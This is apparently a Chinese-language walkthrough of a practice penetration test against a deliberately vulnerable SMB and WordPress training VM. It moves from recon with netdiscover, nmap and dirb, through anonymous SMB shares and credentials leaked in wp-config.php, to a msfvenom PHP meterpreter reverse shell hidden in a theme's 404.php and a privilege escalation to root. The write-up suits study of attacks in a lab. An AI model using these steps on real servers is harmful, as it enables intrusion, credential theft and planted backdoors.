目录
一、环境搭建
1.攻击机
VMware环境下的kali linux虚拟机(本次渗透测试使用kali-linux-2020.4-vmware-amd64版本,初始用户名、密码均为:kali)
2.靶机
VMware环境下的SMB信息泄露虚拟机(链接: https://pan.baidu.com/s/1Wc0_nw1-kD97luSlSjeaFQ 提取码: jx1b)
3.网络配置
攻击机与靶机桥接于同一网卡上,便于查找靶机ip地址。【同笔记(一)】
二、SMB介绍
SMB(全称是Server Message Block)是一个协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。Linux移植SMB后称之为samba。SMB协议是基于TCP-NETBIOS下的,一般端口使用为139,445。
三、信息收集
使用sudo指令登录root权限(需输入密码:kali)
sudo -s
获取靶机ip:
在攻击机的终端中使用“ifconfig”指令获取攻击机的网络地址(此时靶机也在同一网段,因为刚才桥接在了同一网卡上),
ifconfig
利用得到的ip地址与子网掩码可构造网段:192.168.43.0/24作为参数,使用netdiscover工具搜索同一网段内所有主机(若主机较多则等待时间可能较长),
netdiscover -r 192.168.43.0/24
结果如下,其中"VMware,Inc."一行即为靶机信息,靶机ip为192.168.43.111。
四、信息探测
1.挖掘开放服务信息
使用nmap工具扫描靶机所有开放端口,
nmap -sV 192.168.43.111
//也可使用 nmap -A -v -T4 192.168.43.111 探测更详细的信息
Ⅰ.发现靶机开放了22端口的ssh服务,于是想到:
①是否有私钥泄露?
②能否找到私钥的用户名?
③束手无策时考虑暴力破解密码;
Ⅱ.发现靶机开放了80端口的http服务,于是想到:
①尝试直接用浏览器访问靶机开放了http服务的端口;
②使用dirb工具探测http的目录;
Ⅲ.发现靶机开放了139端口、445端口的SMB服务,于是想到:
①尝试使用空口令登录共享文件夹,如成功则查看并下载敏感文件;
②针对SMB协议远程溢出漏洞进行分析;
Ⅳ.发现靶机开放了3306端口的mysql服务,于是想到:
①尝试寻找可用于远程访问mysql数据库的用户名和对应密码;
Ⅴ.发现靶机开放了6667端口的irc服务,这是一个中继聊天服务,本次渗透测试中无需用到。
2.挖掘隐藏敏感信息
2.1尝试利用smb协议登录共享文件夹
先查看smb服务器端所分享出来的所有资源,
smbclient -L 192.168.43.111
要求输入密码,尝试空密码(直接回车),成功登录共享文件夹。
2.2打开各个共享文件夹查看具体内容
smbclient '\\192.168.43.111\print$'
smbclient '\\192.168.43.111\IPC$'
smbclient '\\192.168.43.111\share$'
其中,print文件夹密码为空但无访问权限,IPC文件夹密码为空可访问但无内容,share文件夹密码为空可访问且存在大量文件。
2.3下载敏感文件寻找敏感信息
Ⅰ.敏感文件1(config配置文件):
配置文件中可能存在用户名和密码。
下载:
cd wordpress
ls
get wp-config.php
另外启动一个终端查看文件内容:
cat wp-config.php
得到了一个数据库用户和对应密码!
Ⅱ.敏感文件2:
下载:
cd ..
ls
get deets.txt
另外启动一个终端查看文件内容:
cat deets.txt
得到了一个默认密码!
Ⅲ.其他文件和文件夹内无敏感信息。
2.4访问http服务并寻找隐藏起来的后台文件
使用dirb工具探测此服务的隐藏文件,
dirb http://192.168.43.111:80/
除wordpress外无有效信息,访问http://192.168.43.111/wordpress/得
得到一个关键名字 togie!
3.尝试各种手段登录服务器
3.1尝试远程登录mysql数据库
mysql -h 192.168.43.111 -u Admin -p
输入密码:TogieMYSQL12345^^,
可惜攻击机无访问权限,另谋他法。
3.2尝试利用ssh协议
ssh Admin@192.168.43.111
尝试输入密码,TogieMYSQL12345^^,错误;12345,错误,无法远程访问服务器,另谋他法。
3.3尝试利用smb协议的远程溢出漏洞
先确定smb版本,
nmap -A -v -T4 192.168.43.111
再查看是否有远程溢出漏洞,
searchsploit Samba smbd 3.X - 4.X
searchsploit Samba smbd 4.3.11-Ubuntu
很可惜也没有相关漏洞,如有则可以直接利用。
3.4登录网站后台
经过刚才的信息收集(2.4),发现该靶机服务器开放访问的网站是由WordPress程序建立的,而使用WordPress搭建的网站登录后台均为:网站域名/wp-admin,故浏览器访问:“http://192.168.43.111:80/wordpress/wp-admin/”,得:
输入用户名:"Admin"和密码:“TogieMYSQL12345^^”,登录成功!
4.提权
4.1制作反弹shell
可以使用msfvenom工具来生成反弹shell,
//lhost设置为攻击机ip,lport设置为攻击机空闲端口
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.43.94 lport=4444 -f raw
将生成的代码从注释符后开始选取并复制到某个php文件中即可。
4.2攻击机启动监听
msfconsole //打开metasploit工具的控制台
//使用msf工具的侦听模块exploit/multi/handler
msf6 > use exploit/multi/handler
//设置挂载。可用于监听基于TCP协议的反向链接反弹shell, 使用起来很稳定
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
//填入攻击机ip
msf6 exploit(multi/handler) > set lhost 192.168.43.94
//查看挂载配置
msf6 exploit(multi/handler) > show options
其中监听端口LPORT:4444为默认配置,此处监听端口配置需要与(4.1制作反弹shell)中反弹shell的php脚本中的设定一致。
//运行挂载
msf6 exploit(multi/handler) > run
4.3获取反弹shell
上传反弹shell脚本至服务器后台,执行脚本(即访问脚本所在的php页面)。
①上传反弹shell脚本至服务器后台:
用脚本代码替换原来的404处理代码并上传:
②访问脚本所在的php页面:
观察当前页面URL:
http://192.168.43.111/wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentyfifteen&scrollto=0
可知:
当前网站的404模板文件属于twentyfifteen主题模板,而使用WordPress搭建的网站中404模板文件的位置为“wordpress/wp-content/themes/当前使用的主题模板/404.php”,故访问404.php页面的URL为:
http://192.168.43.111/wordpress/wp-content/themes/twentyfifteen/404.php
访问上述URL,成功get到反弹shell。
4.4拿到root权限
①拿到shell并进行预处理
shell
id
python -c "import pty; pty.spawn('/bin/bash')"
虽然拿到了反弹shell,但此时登录的用户不具有root权限。并且此时界面与通常的命令行格式有所不同,很不习惯,也不利于回顾之前的操作,于是需要优化终端。
②切换用户
查看本机所有用户:
cat /etc/passwd
经过审计,发现了一个熟悉的用户名——“togie”,并且发现该用户位于home目录下,遂尝试登录该用户(密码尝试使用【步骤2.3】找到的默认密码:12345)。
su togie
登录成功!
③提权
sudo su
成功提升到root权限!
Ps.有时执行“sudo su ”指令需要输入密码:12345
5.获取flag
一般情况下,ctf比赛中包含flag的文件在root目录下。
打开proof.txt文件:
成功获取到flag!
(话说我这个靶机的flag文件和别人好像不太一样啊。。。ヾ(。 ̄□ ̄)ツ゜゜゜)